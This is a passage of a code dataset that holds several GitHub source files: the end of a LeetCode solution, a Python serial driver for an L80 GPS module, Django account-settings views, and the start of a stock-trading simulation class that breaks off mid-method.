phoneMap[nextdigits[0]]:\n                    backtrack(combination + letter, nextdigits[1:])\n        \n        backtrack(\"\",digits)\n        return res","repo_name":"Aprilluabsinthe/leet","sub_path":"python/17_Letter_Combinations_of_a_Phone_Number.py","file_name":"17_Letter_Combinations_of_a_Phone_Number.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"46615299463","text":"# http://www.gsm-rainbow.ru/sites/default/files/l80_gps_protocol_specification_v1.0.pdf\nimport re\nimport io\nimport sys\nimport time\nimport serial\nimport logging\nimport datetime\nimport threading\nimport subprocess\n# logging.basicConfig(level=logging.DEBUG)\n\n\n# Test these with `echo -e \"\\$PMTK161,0*28\\r\\n\" > /dev/ttyAMA0`\nPMTK_STANDBY = '$PMTK161,0*28\\r\\n'\nPMTK_SET_PERIODIC_MODE_NORMAL = '$PMTK225,0*2B\\r\\n'\nPMTK_SET_PERIODIC_MODE_AUTO_LOCATE_STANDBY = '$PMTK225,8*23\\r\\n'\nPMTK_SET_PERIODIC_MODE_SLEEP = '$PMTK225,2,3000,12000,18000,72000*15\\r\\n'\nPMTK_LOCUS_QUERY_STATUS = '$PMTK183*38\\r\\n'\nPMTK_LOCUS_ERASE_FLASH = '$PMTK184,1*22\\r\\n'\nPMTK_LOCUS_STOP_LOGGER = '$PMTK185,1*23\\r\\n'\nPMTK_LOCUS_START_LOGGER = '$PMTK185,0*22\\r\\n'\nPMTK_Q_LOCUS_DATA_FULL = '$PMTK622,0*28\\r\\n'\nPMTK_Q_LOCUS_DATA_PARTIAL = '$PMTK622,1*29\\r\\n'\n\n\n# setup default GPS device (different on Raspberry Pi 3 and above)\ndef get_rpi_revision():\n    \"\"\"Returns the version number from the revision line.\"\"\"\n    for line in open(\"/proc/cpuinfo\"):\n        if \"Revision\" in line:\n            return re.sub('Revision\\t: ([a-z0-9]+)\\n', r'\\1', line)\n\n\nrpi_revision = get_rpi_revision()\nif (rpi_revision and\n      (rpi_revision != 'Beta') and\n      (int('0x'+rpi_revision, 16) >= 0xa02082)):\n    # RPi 3 and above\n    DEFAULT_GPS_DEVICE = '/dev/ttyS0'\nelse:\n    # RPi 2 and below\n    DEFAULT_GPS_DEVICE = '/dev/ttyAMA0'\n\n\nclass NMEAPacketNotFoundError(Exception):\n    pass\n\n\nclass DataInvalidError(Exception):\n    pass\n\n\nclass LOCUSQueryDataError(Exception):\n    pass\n\n\nclass L80GPS(object):\n    \"\"\"Thread that reads a stream of L80 GPS protocol lines and stores the\n    information. Methods may raise exceptions if data is invalid (usually\n    becasue of a poor GPS reception - try moving the GPS module outside).\n    \"\"\"\n\n    def __init__(self, device=DEFAULT_GPS_DEVICE):\n        self.device_tx_rx = serial.Serial(device,\n                                          baudrate=9600,\n                                          bytesize=8,\n                                          parity='N',\n                                          stopbits=1,\n                                          timeout=0.5,\n                                          rtscts=0)\n\n    ####################################################################\n    # REMOVE PROPERTIES\n    ####################################################################\n    def _property_depricated_warning(self, p):\n        print('WARNING: properties will be removed in next major version. '\n              'Use `l80gps.get_{}()` instead of `l80gps.{}`'.format(p),\n              file=sys.stderr)\n\n    @property\n    def gprmc(self):\n        self._property_depricated_warning('gprmc')\n        return self.get_gprmc()\n\n    @property\n    def gpvtg(self):\n        self._property_depricated_warning('gpvtg')\n        return self.get_gpvtg()\n\n    @property\n    def gpgga(self):\n        self._property_depricated_warning('gpgga')\n        return self.get_gpgga()\n\n    @property\n    def gpgsa(self):\n        self._property_depricated_warning('gpgsa')\n        return self.get_gpgsa()\n\n    @property\n    def gpgsv(self):\n        self._property_depricated_warning('gpgsv')\n        return self.get_gpgsv()\n\n    @property\n    def gpgll(self):\n        self._property_depricated_warning('gpgll')\n        return self.get_gpgll()\n\n    @property\n    def gptxt(self):\n        self._property_depricated_warning('gptxt')\n        return self.get_gptxt()\n    ####################################################################\n\n    def get_gprmc(self):\n        \"\"\"Returns the latest GPRMC message.\n\n        :rasies: DataInvalidError\n        \"\"\"\n        pkt = self.get_nmea_pkt('GPRMC')\n        gprmc_dict, checksum = gprmc_as_dict(pkt)\n        if gprmc_dict['data_valid'] == \"A\":\n            return gprmc_dict\n        else:\n            raise DataInvalidError(\"Indicated by data_valid field.\")\n\n    def get_gpvtg(self):\n        \"\"\"Returns the latest GPVTG message.\"\"\"\n        pkt = self.get_nmea_pkt('GPVTG')\n        gpvtg_dict, checksum = gpvtg_as_dict(pkt)\n        return gpvtg_dict\n\n    def get_gpgga(self):\n        \"\"\"Returns the latest GPGGA message.\"\"\"\n        pkt = self.get_nmea_pkt('GPGGA')\n        gpgga_dict, checksum = gpgga_as_dict(pkt)\n        return gpgga_dict\n\n    def get_gpgsa(self):\n        \"\"\"Returns the latest GPGSA message.\"\"\"\n        pkt = self.get_nmea_pkt('GPGSA')\n        gpgsa_dict, checksum = gpgsa_as_dict(pkt)\n        return gpgsa_dict\n\n    def get_gpgsv(self):\n        \"\"\"Returns the latest GPGSV message.\"\"\"\n        pkt = self.get_nmea_pkt('GPGSV')\n        gpgsv_dict, checksum = gpgsv_as_dict(pkt)\n        return gpgsv_dict\n\n    def get_gpgll(self):\n        \"\"\"Returns the latest GPGLL message.\n\n        :rasies: DataInvalidError\n        \"\"\"\n        pkt = self.get_nmea_pkt('GPGLL')\n        gpgll_dict, checksum = gpgll_as_dict(pkt)\n        if gpgll_dict['data_valid'] == \"A\":\n            return gpgll_dict\n        else:\n            raise DataInvalidError(\"Indicated by data_valid field.\")\n\n    def get_gptxt(self):\n        \"\"\"Returns the latest GPTXT message.\"\"\"\n        pkt = self.get_nmea_pkt('GPTXT')\n        gptxt_dict, checksum = gptxt_as_dict(pkt)\n        return gptxt_dict\n\n    def check_pmtk_ack(self):\n        '''Waits for an validates a PMTK_ACK. Raises an exception if\n        PMTK_ACK reports error.\n        '''\n        pkt = self.get_nmea_pkt('$PMTK001')\n        ack_data = pkt.split('*').split(',')\n        flag = int(ack_data[2])\n        if flag == 0:\n            raise PMTKACKError('Invalid packet')\n        elif flag == 1:\n            raise PMTKACKError('Unsupported packet type')\n        elif flag == 2:\n            raise PMTKACKError('Valid packet but action failed')\n        elif flag == 3:\n            return  # success!\n        else:\n            raise PMTKACKError('Unknown flag in ack.')\n\n    def standby(self):\n        '''Puts the GPS into standby mode.'''\n        self.send_nmea_pkt(PMTK_STANDBY)\n        self.check_pmtk_ack()\n\n    def always_locate(self):\n        '''Turns on AlwaysLocate(TM). Turn off with `set_periodic_normal`.'''\n        self.send_nmea_pkt(PMTK_SET_PERIODIC_MODE_AUTO_LOCATE_STANDBY)\n        self.check_pmtk_ack()\n\n    def sleep(self):\n        '''Puts the GPS into sleep mode. Wake with `set_periodic_normal`.'''\n        self.send_nmea_pkt(PMTK_SET_PERIODIC_MODE_SLEEP)\n        self.check_pmtk_ack()\n\n    def set_periodic_normal(self):\n        '''Sets the periodic mode to normal.'''\n        self.send_nmea_pkt(PMTK_SET_PERIODIC_MODE_NORMAL)\n        self.check_pmtk_ack()\n\n    def locus_query(self):\n        \"\"\"Returns the status of the locus logger.\"\"\"\n        self.send_nmea_pkt(PMTK_LOCUS_QUERY_STATUS)\n        pmtklog_dict, checksum = pmtklog_as_dict(self.get_nmea_pkt('PMTKLOG'))\n        return pmtklog_dict\n\n    def locus_erase(self):\n        \"\"\"Erases the internal log.\"\"\"\n        self.send_nmea_pkt(PMTK_LOCUS_ERASE_FLASH)\n\n    def locus_start(self):\n        \"\"\"Starts the logger.\"\"\"\n        self.send_nmea_pkt(PMTK_LOCUS_START_LOGGER)\n\n    def locus_stop(self):\n        \"\"\"Stops the logger.\"\"\"\n        self.send_nmea_pkt(PMTK_LOCUS_STOP_LOGGER)\n\n    def locus_query_data(self, raw=False, num_attempts=5):\n        \"\"\"Returns a list of parsed LOCUS log data.\n\n        :param raw: Return raw bytearray instead of list of dict's.\n        :type raw: boolean\n        :param num_attempts: Number of attempts to get raw data (it sometimes\n                             fails)\n        :type num_attempts: int\n        :rasies: LOCUSQueryDataError\n        \"\"\"\n        attempt = 0\n        success = False\n        while success == False and attempt < num_attempts:\n            try:\n                data = self._locus_query_data_raw()\n            except NMEAPacketNotFoundError:\n                attempt += 1\n            else:\n                success = True\n        if not success:\n            raise LOCUSQueryDataError(\n                \"Max number of attempts ({}) reached.\".format(num_attempts))\n        elif raw:\n            return data\n        else:\n            return parse_locus_data(data)\n\n    def _locus_query_data_raw(self):\n        \"\"\"Returns a byte array of the log data (you can parse this later).\n\n        Example packets returned:\n\n\n        Data: $PMTKLOX,1,0,0100010B,1F000000,0F000000,0000100B,00000000,\n              00000000,00000003,FFFFFFFF,FFFFFFFF,FFFFFFFF,FFFFFFFF,\n              FFFFFFFF,FFFFFFFF,FFFFFFFF,FFFFFFFF,00FC8C1C,0DE9E753,\n              02A54356,42777508,C0A300C9,1CE9E753,02A14356,42397508,\n              C0A30092*2E\n\n        \"\"\"\n        locus_data_ptn_start = 'PMTKLOX,0'\n        locus_data_ptn = 'PMTKLOX,1'\n        locus_data_ptn_end = 'PMTKLOX,2'\n        self.send_nmea_pkt(PMTK_Q_LOCUS_DATA_PARTIAL)\n\n        # get the start packet (not that we do anything with it, the returned\n        # number of packets doesn't even equal what this packet says it will!)\n        pkt = self.get_nmea_pkt(locus_data_ptn_start)\n        pkt, checksum = pkt.split('*') # data is already confirmed valid\n        message_id, type, num_pkts = pkt.split(',')\n\n        # get all the data packets until the end packet pattern if found\n        databytes = bytearray()\n        for i in range(int(num_pkts)):\n            pkt = self.get_nmea_pkt(locus_data_ptn)\n            pkt, checksum = pkt.split('*') # data is already confirmed valid\n            pkt_list = pkt.split(',')\n            # do some sanity checking\n            message_id, lox_type, index = pkt_list[:3]\n            # print(\"Hi\", message_id, lox_type, index)\n            assert message_id == '$PMTKLOX'\n            assert lox_type == '1'\n            assert int(index) == i\n            # put the data into bytes\n            for hexstr in pkt_list[3:]:\n                databytes += hexstr2bytearray(hexstr)\n        # end pkt\n        pkt = self.get_nmea_pkt(locus_data_ptn_end)\n        return databytes\n\n    def get_nmea_pkt(self, pattern):\n        \"\"\"Returns the next valid NMEA string which contains the pattern\n        provided. For example:\n\n            >>> gps.get_nmea_pkt('GPRMC')\n            '$GPRMC,013732.000,A,3150.7238,N,11711.7278,E,0.00,0.00,220413,,,A*68'\n\n        \"\"\"\n        pattern_bytes = bytes(pattern, 'utf-8')\n        while True:\n            line = self.device_tx_rx.readline()\n            # logging.debug(\"L80GPS:readline returned - \"+str(line))\n            if line == b'':\n                raise NMEAPacketNotFoundError(\n                    \"Timed out before valid '{}'.\".format(pattern))\n            elif not l80gps_checksum_is_valid(line):\n                continue\n            elif pattern_bytes in line:\n                return str(line, 'utf-8')\n\n    def send_nmea_pkt(self, pkt):\n        \"\"\"Write pkt to the serial port.\"\"\"\n        self.device_tx_rx.write(bytes(pkt, 'utf-8'))\n\n\ndef parse_locus_data(data, format='basic'):\n    \"\"\"Returns the LOCUS data in a sensible structure according to the format.\"\"\"\n    # assuming basic format\n    # utc (4), fix (1), latitude (4), longitude (4), altitude (2), checksum (1)\n    # sample data\n    data.reverse()\n    parsed_data = []\n    while True:\n        try:\n            data_bytes = [data.pop() for i in range(16)]\n        except IndexError:\n            return parsed_data\n        else:\n            utc = parse_long(data_bytes[:4])\n            checksum = data_bytes[15]\n            if not checksum_is_valid(data_bytes[:15], checksum):\n                # invalid checksum, this datum is useless\n                continue\n            elif utc >= 0xffffffff:\n                # data is empty, don't add to parsed_data\n                continue\n            else:\n                parsed_data.append(\n                    {'utc': datetime.datetime.fromtimestamp(utc),\n                     'fix': data_bytes[4],\n                     'latitude': parse_float(data_bytes[5:9]),\n                     'longitude': parse_float(data_bytes[9:13]),\n                     'altitude': parse_int(data_bytes[13:15]),\n                     'checksum': checksum})\n\n\ndef gprmc_as_dict(gprmc_str):\n    \"\"\"Returns the GPRMC as a dictionary and the checksum.\n\n        >>> gprmc_as_dict('$GPRMC,013732.000,A,3150.7238,N,11711.7278,E,0.00,0.00,220413,,,A*68')\n        ({'message_id': 'GPRMC',\n          'utc': 0.0,\n          'data_valid': 'A',\n          'latitude': 3150.7238,\n          'ns': 0.0,\n          'longitude': 0.1,\n          'ew': 'A',\n          'speed':,\n          'cog':,\n          'date':,\n          'mag_var':,\n          'eq':,\n          'pos_mode':},\n          0C)\n    \"\"\"\n    gprmc, checksum = gprmc_str.split('*')\n    message_id, utc, data_valid, latitude, ns, longitude, ew, speed, cog, \\\n        date, mag_var, eq, pos_mode = gprmc.split(',')\n    utc = 0.0 if utc == '' else utc\n    latitude = 0.0 if latitude == '' else latitude\n    longitude = 0.0 if longitude == '' else longitude\n    gprmc_dict = {'message_id': message_id,\n                  'utc': float(utc),\n                  'data_valid': data_valid,\n                  'latitude': dm2d(float(latitude), ns),\n                  'ns': ns,\n                  'longitude': dm2d(float(longitude), ew),\n                  'ew': ew,\n                  'speed': speed,\n                  'cog': cog,\n                  'date': date,\n                  'mag_var': mag_var,\n                  'eq': eq,\n                  'pos_mode': pos_mode}\n    return (gprmc_dict, checksum)\n\ndef gpvtg_as_dict(gpvtg_str):\n    \"\"\"Returns the GPVTG as a dictionary and the checksum.\n\n        >>> gpvtg_as_dict('$GPVTG,0.0,T,,M,0.0,N,0.1,K,A*0C')\n        ({'message_id': 'GPVTG',\n          'cogt': 0.0,\n          't': 'A',\n          'cogm': '',\n          'speedn': 0.0,\n          'speedk': 0.1,\n          'pos_mode': 'A'},\n          0C)\n    \"\"\"\n    gpvtg, checksum = gpvtg_str.split('*')\n    message_id, cogt, t, cogm, m, speedn, n, speedk, k, pos_mode = \\\n        gpvtg.split(',')\n    gpvtg_dict = {'message_id': message_id,\n                  'cogt': cogt,\n                  'cogm': cogm,\n                  'speedn': float(speedn),\n                  'speedk': float(speedk),\n                  'pos_mode': pos_mode}\n    return (gpvtg_dict, checksum)\n\ndef gpgga_as_dict(gpgga_str):\n    \"\"\"Returns the GPGGA as a dictionary and the checksum.\n\n    Returns latitude and longitude as degrees.\n\n        >>> gpgga_as_dict('$GPGGA,015540.000,A,3150.68378,N,11711.93139,E,1,17,0.6,0051.6,M,0.0,M,,*58')\n        ({'message_id': 'GPGGA',\n          'utc': 015540.000,\n          'latitude': 3150.68378,\n          'ns': 'N',\n          'longitude': 11711.93139,\n          'ew': 'E',\n          'fix': 1,\n          'number_of_sv': 17,\n          'hdop': 0.6,\n          'altitude': 0051.6,\n          'geoid_seperation': 0.0,\n          'dgps_age': '',\n          'dgps_station_id': ''},\n          77)\n    \"\"\"\n    gpgga, checksum = gpgga_str.split('*')\n    print(gpgga_str)\n    message_id, utc, latitude, ns, longitude, ew, fix, \\\n        number_of_sv, hdop, altitude, m, geoid_seperation, m, dgps_age, \\\n        dgps_station_id = gpgga.split(',')\n    utc = 0.0 if utc == '' else utc\n    latitude = 0.0 if latitude == '' else latitude\n    longitude = 0.0 if longitude == '' else longitude\n    gpgga_dict = {'message_id': message_id,\n                  'utc': float(utc),\n                  'latitude': dm2d(float(latitude), ns),\n                  'ns': ns,\n                  'longitude': dm2d(float(longitude), ew),\n                  'ew': ew,\n                  'fix': fix,\n                  'number_of_sv': number_of_sv,\n                  'hdop': hdop,\n                  'altitude': altitude,\n                  'geoid_seperation': geoid_seperation,\n                  'dgps_age': dgps_age,\n                  'dgps_station_id': dgps_station_id}\n    return (gpgga_dict, checksum)\n\n\ndef gpgsa_as_dict(gpgsa_str):\n    \"\"\"Returns the GPGSA as a dictionary and the checksum.\n\n        >>> gpgsa_as_dict('$GPGSA,A,3,14,06,16,31,23,,,,,,,,1.66,1.42,0.84*0F')\n        ({'message_id': 'GPGSA',\n          'mode': 'A',\n          'fix': 3,\n          'satellites_on_channel': [14, 06, 16, 31, 23, 0, 0, 0, 0, 0, 0, 0],\n          'pdop': 1.66,\n          'hdop': 1.42,\n          'vdop': 0.84},\n          77)\n    \"\"\"\n    gpgsa, checksum = gpgsa_str[1:].split(\"*\")  # remove `$` split *\n    gpgsa_data = gpgsa.split(',')\n    message_id, mode, fix = gpgsa_data[:3]\n    satellites_on_ch = gpgsa_data[3:-3]\n    pdop, hdop, vdop = gpgsa_data[-3:]\n    # set all blank channels to 0\n    satellites_on_ch = map(lambda s: 0 if s == '' else s, satellites_on_ch)\n    gpgsa_dict = {'message_id': message_id,\n                  'mode': mode,\n                  'fix': fix,\n                  'satellites_on_channel': satellites_on_ch,\n                  'pdop': pdop,\n                  'hdop': hdop,\n                  'vdop': vdop}\n    return (gpgsa_dict, checksum)\n\ndef gpgsv_as_dict(gpgsv_str):\n    \"\"\"Returns the GPGSV as a dictionary and the checksum.\n\n        >>> gpgsv_as_dict('$GPGSV,3,1,12,01,05,060,18,02,17,259,43,04,56,287,28,09,08,277,28*77')\n        ({'message_id': 'GPGSV',\n          'num_messages': 3,\n          'sequence_num': 1,\n          'satellites_in_view': 12,\n          'satellite': [{'id': 01,\n                         'elevation': 05,\n                         'azimuth': 060,\n                         'snr': 18},\n                        {'id': 02,\n                         'elevation': 17,\n                         'azimuth': 259,\n                         'snr': 43},\n                        {'id': 04,\n                         'elevation': 56,\n                         'azimuth': 287,\n                         'snr': 28},\n                        {'id': 09,\n                         'elevation': 08,\n                         'azimuth': 277,\n                         'snr': 28}]},\n          77)\n    \"\"\"\n    # TODO varaible length string depending on number of satellites\n    gpgsv, checksum = gpgsv_str[1:].split(\"*\")  # remove `$` split *\n    message_id, num_messages, sequence_num, satellites_in_view, \\\n        satellite_1_id, satellite_1_elevation, satellite_1_azimuth, \\\n        satellite_1_snr, satellite_2_id, satellite_2_elevation, \\\n        satellite_2_azimuth, satellite_2_snr, satellite_3_id, \\\n        satellite_3_elevation, satellite_3_azimuth, satellite_3_snr, \\\n        satellite_4_id, satellite_4_elevation, satellite_4_azimuth, \\\n        satellite_4_snr = gpgsv.split(\",\")\n    gpgsv_dict = {'message_id': message_id,\n                  'num_messages': num_messages,\n                  'sequence_num': sequence_num,\n                  'satellites_in_view': satellites_in_view,\n                  'satellite': [{'id': satellite_1_id,\n                                 'elevation': satellite_1_elevation,\n                                 'azimuth': satellite_1_azimuth,\n                                 'snr': satellite_1_snr},\n                                {'id': satellite_2_id,\n                                 'elevation': satellite_2_elevation,\n                                 'azimuth': satellite_2_azimuth,\n                                 'snr': satellite_2_snr},\n                                {'id': satellite_3_id,\n                                 'elevation': satellite_3_elevation,\n                                 'azimuth': satellite_3_azimuth,\n                                 'snr': satellite_3_snr},\n                                {'id': satellite_4_id,\n                                 'elevation': satellite_4_elevation,\n                                 'azimuth': satellite_4_azimuth,\n                                 'snr': satellite_4_snr}]}\n    return (gpgsv_dict, checksum)\n\n\ndef gpgll_as_dict(gpgll_str):\n    \"\"\"Returns the GPGLL as a dictionary and the checksum.\n\n        >>> gpgll_as_dict('$GPGLL,3110.2908,N,12123.2348,E,041139.000,A,A*59')\n        ({'message_id': GPGLL,\n          'latitude': 3110.2908,\n          'ns': 'N',\n          'longitude': 12123.2348,\n          'ew': 'E',\n          'utc': 041139.000,\n          'data_valid': 'A',\n          'pos_mode': 'A'},\n         59)\n\n    \"\"\"\n    gpgll, checksum = gpgll_str[1:].split(\"*\")  # remove `$` split *\n    message_id, latitude, ns, longitude, ew, utc, data_valid, pos_mode = \\\n        gpgll.split(\",\")\n    latitude = 0.0 if latitude == '' else latitude\n    longitude = 0.0 if longitude == '' else longitude\n    utc = 0.0 if utc == '' else utc\n    gpgll_dict = ({\"message_id\": message_id,\n                   \"latitude\": dm2d(float(latitude), ns),\n                   \"ns\": ns,\n                   \"longitude\": dm2d(float(longitude), ew),\n                   \"ew\": ew,\n                   \"utc\": float(utc),\n                   \"data_valid\": data_valid,\n                   \"pos_mode\": pos_mode},\n                  checksum)\n    # logging.debug(\"L80GPS:Converting '{}'\\ninto: {}\".format(gpgll_str, gpgll_dict))\n    return gpgll_dict\n\n\ndef gptxt_as_dict(self):\n    \"\"\"\n    GPTXT Message ID\n    XX Total number of messages in this transmission. (01~99)\n    YY Message number in this transmission. (01~99)\n    ZZ\n    Severity of the message\n    ‘00’= ERROR\n    ‘01’= WARNING\n    ‘02’= NOTICE\n    ‘07’= USER\n    Text messasage\n    \"\"\"\n    # TODO fix this\n    pass\n\n\ndef pmtklog_as_dict(pmtklog_str):\n    \"\"\"Returns the PMTKLOG as a dictionary and the checksum.\n\n        >>> pmtklog_as_dict('$PMTKLOG,456,0,11,31,2,0,0,0,3769,46*48')\n        ({'message_id': 'PMTKLOG',\n          'serial': 456,\n          'type': 0,\n          'mode': 11,\n          'content': 31,\n          'interval': 2,\n          'distance': 0,\n          'speed': 0,\n          'status': 0,\n          'number': 3769,\n          'percent': 46},\n         48)\n\n    \"\"\"\n    pmtklog, checksum = pmtklog_str[1:].split('*')  # remove `$` split *\n    message_id, serial, type, mode, content, interval, distance, speed,\\\n        status, number, percent = pmtklog.split(',')\n    pmtklog_dict = ({'message_id': 'PMTKLOG',\n                     'serial': serial,\n                     'type': type,\n                     'mode': int(mode, 16),\n                     'content': content,\n                     'interval': interval,\n                     'distance': distance,\n                     'speed': speed,\n                     'status': status,\n                     'number': number,\n                     'percent': percent},\n                    checksum)\n    return pmtklog_dict\n\n\ndef l80gps_checksum_is_valid(gps_str):\n    \"\"\"Returns True if the checksum is valid in an GPS L80 protocol line.\n\n        !!!! This method assumes gps_str is a byte string. !!!!\n\n    \"\"\"\n    if gps_str[0] != ord(b'$'):\n        return False\n    try:\n        gpgll, checksum = gps_str[1:].split(b'*')  # remove `$` split *\n    except:\n        # logging.debug(\"L80GPS:Invalid GPS str\")\n        # logging.debug(gps_str)\n        return False\n    else:\n      return checksum_is_valid(gpgll, int(checksum, 16))\n\n\ndef checksum_is_valid(data_bytes, checksum):\n    \"\"\"Returns True is the logical OR of each consecutive databyte is\n    the same as the checksum.\n    \"\"\"\n    check = 0\n    for b in data_bytes:\n      check ^= b\n    return check == checksum\n\n\ndef hexstr2bytearray(s):\n    \"\"\"Converts a string of hex characters to bytes.\n\n        'DEADBEEF'\n\n    becomes\n\n        bytearray(b'\\\\\\\\xde\\\\\\\\xad\\\\\\\\xbe\\\\\\\\xef')\n\n    \"\"\"\n    # split the string into a list of strings, each two characters long\n    # then turn each two character string into an int (base 16) and put\n    # that array into a bytearray\n    n = 2\n    return bytearray([int(s[i:i+n], 16) for i in range(0, len(s), n)])\n\n\ndef parse_float(bytes):\n    \"\"\"Converts four bytes into a float.\"\"\"\n    longValue = parse_long(bytes)\n    exponent = ((longValue >> 23) & 0xff) # float\n    exponent -= 127.0\n    exponent = pow(2,exponent)\n    mantissa = (longValue & 0x7fffff)\n    mantissa = 1.0 + (mantissa/8388607.0)\n    floatValue = mantissa * exponent\n    if ((longValue & 0x80000000) == 0x80000000):\n        floatValue = -floatValue\n    return floatValue\n\n\ndef parse_long(bytes):\n    \"\"\"Converts four bytes into a long integer.\"\"\"\n    assert len(bytes) == 4\n    return ((0xFF & bytes[3]) << 24 |\n            (0xFF & bytes[2]) << 16 |\n            (0xFF & bytes[1]) << 8 |\n            (0xFF & bytes[0]))\n\n\ndef parse_int(bytes):\n    \"\"\"Converts two bytes into an interger.\"\"\"\n    assert len(bytes) == 2\n    number = ((0xFF & bytes[1]) << 8 | (0xFF & bytes[0]))\n    return number\n\n\ndef dm2d(degrees_and_minutes, direction):\n    \"\"\"Converts dddmm.mmmm to ddd.dddd...\n    direction's 's' and 'w' are negative.\n    \"\"\"\n    degrees = int(degrees_and_minutes / 100)\n    minutes = degrees_and_minutes % 100\n    degrees += (minutes / 60)\n    if direction.lower() == 's' or direction.lower() == 'w':\n        return -1 * degrees\n    else:\n        return degrees\n","repo_name":"microstack-IoT/python3-microstacknode","sub_path":"microstacknode/hardware/gps/l80gps.py","file_name":"l80gps.py","file_ext":"py","file_size_in_byte":24614,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"3039714922","text":"from django.contrib.auth import get_user_model\nfrom django.shortcuts import render, redirect\nfrom django.views.generic.edit import FormView\nfrom django.contrib import messages\nfrom django.contrib.auth import logout\n\nfrom .forms import EditPhoneNoForm, EditProfilePictureForm, DeleteAccountForm\nfrom django.utils.translation import gettext_lazy as _\nfrom django.contrib.auth.decorators import login_required\nfrom meta.views import Meta\n\nUser = get_user_model()\n\n\ndef settings(request):\n    meta = Meta(title=_(\"Settings\"), description=_(\"User Settings\"))\n    return render(request, 'users/settings.html', {\"meta\": meta})\n\n\nclass EditPhoneNoView(FormView):\n    template_name = 'users/edit_phone_no.html'\n    form_class = EditPhoneNoForm\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"meta\"] = Meta(title=_(\"Edit Phone No.\"),\n                               description=_(\"Edit Phone No.\"))\n        return context\n\n    def get_initial(self):\n        initial = super().get_initial()\n\n        initial.update({'phone_no': self.request.user.profile.phone_no})\n        return initial\n\n    def form_valid(self, form):\n        user = self.request.user\n        user.profile.phone_no = form.cleaned_data.get('phone_no')\n        user.profile.save()\n        messages.success(self.request, _(\"Phone No. Updated\"))\n        return redirect('settings')\n\n\nclass UpdateProfilePictureView(FormView):\n    template_name = 'users/update_profile_picture.html'\n    form_class = EditProfilePictureForm\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"meta\"] = Meta(\n            title=_(\"Update Profile Picture\"), description=_(\"Update Profile Picture\"))\n        return context\n\n    def form_valid(self, form):  # pragma: no cover\n        user = self.request.user\n        user.profile.image = form.cleaned_data.get('profile_picture')\n        user.profile.save()\n        messages.success(self.request, _(\"Profice Picture Updated\"))\n        return redirect('settings')\n\n\n@login_required\ndef delete_account(request):\n    if request.method == 'POST':\n        form = DeleteAccountForm(request.POST)\n\n        if form.is_valid():\n            if request.POST[\"delete_checkbox\"]:\n                rem = User.objects.get(username=request.user)\n                rem.delete()\n                logout(request)\n                messages.info(\n                    request, _(\"Your account has been deleted.\"))\n                return redirect(\"index\")\n    else:\n        form = DeleteAccountForm()\n    meta = Meta(title=_(\"Delete Account\"), description=_(\n        \"Are you sure you want to delete your account?\"))\n    context = {'form': form, \"meta\": meta}\n    return render(request, 'users/delete_account.html', context)\n","repo_name":"1hanzla100/Django-ecommerce","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"19400208843","text":"\"\"\"Evaluate trading strategy performance over time interval.\"\"\"\nfrom typing import List, Tuple, Dict\nfrom datetime import datetime\nimport pickle\n\n\"\"\" All trading strategies should have standardized input to work in automated\n    downstream testing.\"\"\"\nclass StockSimulation:\n    def __init__(self, historical_data, cash=1000000,  tikrs = ['aapl','msft']):\n\n        \"\"\"\n        Initialize a StockSimulation instance.\n\n        Parameters\n        ----------\n        cash : float\n            The initial amount of cash to invest, by default 1000000\n        tikrs : List[str]\n            The list of stock symbols to invest in, by default ['aapl', 'msft']\n        historical_data : Dict[str, pd.DataFrame]\n            A dictionary of historical stock data for each stock symbol in `tikrs`.\n            Each key is a stock symbol, and each value is a pandas DataFrame containing the\n            historical data.\n        Returns\n        -------\n        None\n        \"\"\"\n\n        self.cash = cash\n        self.tikrs = tikrs\n        self.portfolio = {}\n        for tikr in tikrs:\n            self.portfolio[tikr] = 0\n        self.active_log = []\n        self.transaction_log = []\n        self.transaction_cost = 0.01\n        self.historical_data = historical_data\n        \n    def get_price(self, tikr, date):\n        \"\"\"\n        Get the opening price of a stock on a given date.\n\n        Parameters\n        ----------\n        tikr : str\n            The stock symbol to get the price for.\n        date : str or datetime\n            The date to get the price for. If str, must be in the format 'YYYYMMDD'.\n\n        Returns\n        -------\n        float\n            The opening price of the stock on the given date.\n        \"\"\"\n\n        start = date\n        if type(start) is str:\n            start = datetime.strptime(start, '%Y%m%d')\n          \n        date = start.strftime('%Y-%m-%d')\n\n        company_df = self.historical_data[tikr]\n        return company_df[company_df['Date'] > date].iloc[0]['Open']\n\n\n    def buy(self, tikr, date, allocated_money):\n        \"\"\"\n        Buy shares of a stock.\n\n        Parameters\n        ----------\n        tikr : str\n            The stock symbol to buy.\n        date : str or datetime\n            The date to buy the stock. If str, must be in the format 'YYYYMMDD'.\n        allocated_money : float\n            The amount of money to allocate to the stock.\n\n        Returns\n        -------\n        None\n        \"\"\"\n        # check if there is enough cash to buy\n        if self.cash < allocated_money:\n            print(\"Not enough cash to buy\")\n            return\n\n        # calculate number of shares to buy\n        price = self.get_price(tikr, date)\n        shares = allocated_money / price\n\n        # update portfolio and cash balance\n        if tikr in self.active_log:\n            self.portfolio[tikr] += shares\n        else:\n            self.portfolio[tikr] = shares\n            self.active_log.append(tikr)\n        # minus the cost of stock\n        stock_cost = shares * price\n        #self.cash -= stock_cost * (1 + self.transaction_cost)\n        self.cash -= stock_cost \n\n\n        # log transaction\n        self.transaction_log.append({\n            \"type\": \"buy\",\n            \"tikr\": tikr,\n            \"date\": date,\n            \"shares\": shares,\n            \"price\": price,\n            \"amount\": stock_cost ,\n            \"transaction_cost\": 0,\n            \"net_worth\": self.get_net_worth(date)\n        })\n\n    def sell(self, tikr, date, allocated_money):\n        \"\"\"\n        Sell shares of a stock.\n\n        Parameters\n        ----------\n        tikr : str\n            The stock symbol to sell.\n        date : str or datetime\n            The date to sell the stock. If str, must be in the format 'YYYYMMDD'.\n        allocated_money : float\n            The amount of money to allocate to the stock.\n\n        Returns\n        -------\n        None\n        \"\"\"\n        # check if there are enough shares to sell\n        if tikr not in self.portfolio:\n            print(\"No shares of {} in portfolio\".format(tikr))\n            return\n\n\n        # calculate number of shares to sell\n        price = self.get_price(tikr, date)\n        shares = allocated_money / price\n\n\n        if self.portfolio[tikr] < 